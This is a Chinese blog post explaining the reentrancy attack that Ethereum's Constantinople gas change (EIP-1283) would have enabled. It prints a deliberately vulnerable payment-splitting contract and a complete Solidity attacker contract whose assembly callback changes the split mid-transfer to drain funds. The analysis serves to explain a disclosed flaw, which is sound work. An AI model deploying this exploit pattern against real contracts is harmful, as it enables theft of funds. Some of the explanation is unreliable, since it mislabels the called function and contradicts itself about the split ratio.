本文主要信息译自
Constantinople enables new Reentrancy Attack
昨天早上起床后,就接到漫天的消息,君士坦丁堡分叉被延后了,原因是升级代码中有重大漏洞。在网上搜集相关资料,然后就找到了上边这篇文章,下边就根据我自己的理解,简单讲一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| pragma solidity ^0.5.0;
contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second;
function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; }
function deposit(uint id) public payable { deposits[id] += msg.value; }
function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; }
function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split
// Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0;
a.transfer(depo * splits[id] / 100); b.transfer(depo * (100 - splits[id]) / 100); } }
|
首先有一个PaymentShare合约,简单来说就是一个用户可以向这个合约充值,合约可以根据一定的比例,将资金分配给两个地址。分配比例可以通过调用修改。因为是示例代码,所以我们暂时不用去管函数调用权限等问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker { address private victim; address payable owner;
constructor() public { owner = msg.sender; }
function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); }
function () payable external { address x = victim; assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } }
function drain() external { owner.transfer(address(this).balance); } }
|
这个合约就是攻击合约,他的攻击流程是这样的:
- 攻击合约将自己的合约地址(我们简称A)和另外一个由攻击者可控制的地址(我们简称B)设置为PaymentShare的资金分配地址。
- 将PaymentShare的资金分配比例修改为100:0;
- 调用PaymentShare的资金分配函数,启动分配;
- 当PaymentShare将资金transfer给A的时候,会触发合约的匿名函数。其中有两行汇编代码,其基本含义是调用PaymentShare的修改分配比例函数,修改资金分配比例为0:100;
- 合约继续执行,对地址B进行资金分配。本来应该transfer给B 0%的资金,但是因为上一步的操作,变成了继续给B transfer 100%的资金。
假设合约的攻击者在PaymentShare中存储了100ETH,经过上述的操作,攻击者就从中转出了200ETH,成功盗取了合约的资产。
粗看上去,这些可能和君士坦丁堡升级没有任何关系。毕竟这里没有涉及任何新的EVM操作符。但是君士坦丁堡升级的一项内容,影响了这里的一个操作。在 EIP1283中,重新规定了SSTORE这个操作符的收费逻辑。在某些情况下,GAS的花费甚至降到了200。
我们来具体分析一下攻击的细节:
当A地址收到转账后,会触发匿名函数,匿名函数中直接使用了两行汇编操作;
1 2
| mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
|
第一行代码相当于存储一个临时变量在内存,变量的值为PaymentShare中的splitFunds函数地址。
第二行代码主要就是调用splitFunds函数,将分配比例改为100:0。
这其中使用到sstore的地方主要是splitFunds中,修改分配比例。
transfer操作默认会提供2300GAS。在君士坦丁堡之前,SSTORE操作需要5000GAS,会将所有GAS耗尽,导致transfer失败,但是现在SSTORE操作的GAS在特定情况下只需要200GAS,导致以上的攻击方式成为了可能。